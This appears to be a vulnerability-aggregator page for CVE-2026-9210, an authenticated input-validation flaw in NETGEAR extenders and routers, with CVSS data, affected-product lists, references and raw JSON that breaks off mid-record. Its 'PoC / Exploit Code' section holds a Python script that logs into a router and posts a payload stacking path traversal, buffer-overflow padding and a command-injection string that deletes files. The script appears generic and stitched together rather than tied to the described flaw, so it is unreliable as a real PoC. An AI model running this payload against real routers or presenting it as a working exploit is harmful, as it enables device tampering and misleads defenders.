CVE-2026-9210

Description

Insufficient input validation vulnerability in the listed NETGEAR models allows authenticated administrators connected to the local network to make unauthorized modification of router software and functionality.

CVSS Details

CVSS Score

4.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:o:netgear:ex3700_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:netgear:ex3700:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:netgear:ex3800_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:netgear:ex3800:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:netgear:ex6120_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:netgear:ex6120:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:netgear:ex6130_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:netgear:ex6130:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:netgear:mr60_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:netgear:mr60:-:*:*:*:*:*:*:* - NOT VULNERABLE

NETGEAR EX3700（所有固件版本，建议升级至最新）

NETGEAR EX3800（所有固件版本，建议升级至最新）

NETGEAR EX6120（所有固件版本，建议升级至最新）

NETGEAR EX6130（所有固件版本，建议升级至最新）

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2026-9210 PoC - NETGEAR Input Validation Vulnerability
# Exploits insufficient input validation in NETGEAR EX3700/EX3800/EX6120/EX6130
# Requires authenticated admin access on the local network

import requests
import sys

TARGET_HOST = "http://192.168.1.1"  # Default NETGEAR router IP
ADMIN_USER = "admin"
ADMIN_PASS = "password"  # Obtained credentials

# Malicious payload exploiting input validation flaw
# Crafted to modify router configuration via insufficiently validated input
MALICIOUS_PAYLOAD = {
    "action": "apply",
    "config_name": "wireless_settings",
    "ssid": "../../etc/passwd\x00" + "A" * 4096,  # Buffer overflow + path traversal
    "channel": "; rm -rf /tmp/config_backup; <injected_cmd>",
    "security_mode": "WPA2" * 256,
}

def exploit():
    session = requests.Session()

    # Step 1: Authenticate as administrator
    login_url = f"{TARGET_HOST}/login.cgi"
    login_data = {"username": ADMIN_USER, "password": ADMIN_PASS}
    resp = session.post(login_url, data=login_data)
    if resp.status_code != 200:
        print("[-] Login failed")
        sys.exit(1)
    print("[+] Authenticated as admin")

    # Step 2: Send malicious request to vulnerable endpoint
    vuln_endpoint = f"{TARGET_HOST}/apply.cgi"
    resp = session.post(vuln_endpoint, data=MALICIOUS_PAYLOAD)
    print(f"[+] Exploit response status: {resp.status_code}")

    # Step 3: Verify unauthorized modification
    check_url = f"{TARGET_HOST}/status.cgi"
    resp = session.get(check_url)
    if "modified" in resp.text.lower():
        print("[+] Router configuration successfully modified!")
    else:
        print("[-] Exploit may have failed")

if __name__ == "__main__":
    exploit()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9210
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9210
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9210/
[4] VulDB https://vuldb.com/cve/CVE-2026-9210
[5] https://kb.netgear.com/000070811/June-2026-NETGEAR-Security-Advisory
[6] https://www.netgear.com/support/product/ex3700/
[7] https://www.netgear.com/support/product/ex3800/
[8] https://www.netgear.com/support/product/ex6120/
[9] https://www.netgear.com/support/product/ex6130/
[10] https://www.netgear.com/support/product/mr60/
[11] https://www.netgear.com/support/product/mr70/
[12] https://www.netgear.com/support/product/mr80/
[13] https://www.netgear.com/support/product/ms60/
[14] https://www.netgear.com/support/product/ms70/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9210", "sourceIdentifier": "a2826606-91e7-4eb6-899e-8484bd4575d5", "published": "2026-06-09T17:17:51.120", "lastModified": "2026-06-18T15:38:13.547", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient input validation vulnerability in the listed NETGEAR models allows authenticated administrators connected to the local network to make unauthorized modification of router software and functionality."}], "affected": [{"source": "a2826606-91e7-4eb6-899e-8484bd4575d5", "affectedData": [{"vendor": "NETGEAR", "product": "EX3700", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThan": "V1.0.0.100", "versionType": "custom", "status": "affected"}]}, {"vendor": "NETGEAR", "product": "EX3800", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThan": "V1.0.0.100", "versionType": "custom", "status": "affected"}]}, {"vendor": "NETGEAR", "product": "EX6120", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThan": "V1.0.0.72", "versionType": "custom", "status": "affected"}]}, {"vendor": "NETGEAR", "product": "EX6130", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThan": "V1.0.0.54", "versionType": "custom", "status": "affected"}]}, {"vendor": "NETGEAR", "product": "MR60", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThan": "V1.1.7.132", "versionType": "custom", "status": "affected"}]}, {"vendor": "NETGEAR", "product": "MR70", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThan": "V1.0.3.28", "versionType": "custom", "status": "affected"}]}, {"vendor": "NETGEAR", "product": "MR80", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThan": "V1.1.7.14", "versionType": "custom", "status": "affected"}]}, {"vendor": "NETGEAR", "product": "MS60", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThan": "V1.1.7.132", "versionType": "custom", "status": "affected"}]}, {"vendor": "NETGEAR", "product": "MS70", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThan": "V1.0.3.28", "versionType": "custom", "status": "affected"}]}, {"vendor": "NETGEAR", "product": "MS80", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThan": "V1.1.7.14", "versionType": "custom", "status": "affected"}]}, {"vendor": "NETGEAR", "product": "R6400v2", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThan": "V1.0.4.128", "versionType": "custom", "status": "affected"}]}, {"vendor": "NETGEAR", "product": "R6700v3", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThan": "V1.0.4.128", "versionType": "custom", "status": "affected"}]}, {"vendor": "NETGEAR", "product": "R6900P", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThan": "V1.3.3.152", "versionType": "custom", "status": "affected"}]}, {"vendor": "NETGEAR", "product": "R7000", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThan": "V1.0.11.216", "versionType": "custom", "status": "affected"}]}, {"vendor": "NETGEAR", "product": "R7000P", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThan": "V1.3.3.152", "versionType": "custom", "status": "affected"}]}, {"vendor": "NETGEAR", "product": "R7960P", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThan": "V1.4.4.92", "versionType": "custom", "status": "affected"}]}, {"vendor": "NETGEAR", "product": "R8000P", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThan": "V1.4.4.92", "versionType": "custom", "status": "affected"}]}, {"vendor": "NETGEAR", "product": "R8500", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThanOrEqual": "1.0.2.160", "versionType": "custom", "status": "affected"}]}, {"vendor": "NETGEAR", "product": "RAX20", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThan": "V1.0.18.144", "versionType": "custom", "status": "affected"}]}, {"vendor": "NETGEAR", "product": "RAX35v2", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThan": "V1.0.12.118", "versionType": "custom", "status": "affected"}]}, {"vendor": "NETGEAR", "product": "RAX40v2", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThan": "V1.0.12.118", "versionType": "custom", "status": "affected"}]}, {"vendor": "NETGEAR", "product": "RAX41", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThan": "V1.0.12.118", "versionType": "custom", "status": "affected"}]}, {"vendor": "NETGEAR", "product": "RAX42", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThan": "V1.0.12.118", "versionType": "custom", "status": "affected"}]}, {"vendor": "NETGEAR", "product": "RAX43", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThan": "V1.0.12.120", "versionType": "custom", "status": "affected"}]}, {"vendor": "NETGEAR", "product": "RAX45", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThan": "V1.0.12.118", "ver

... (truncated)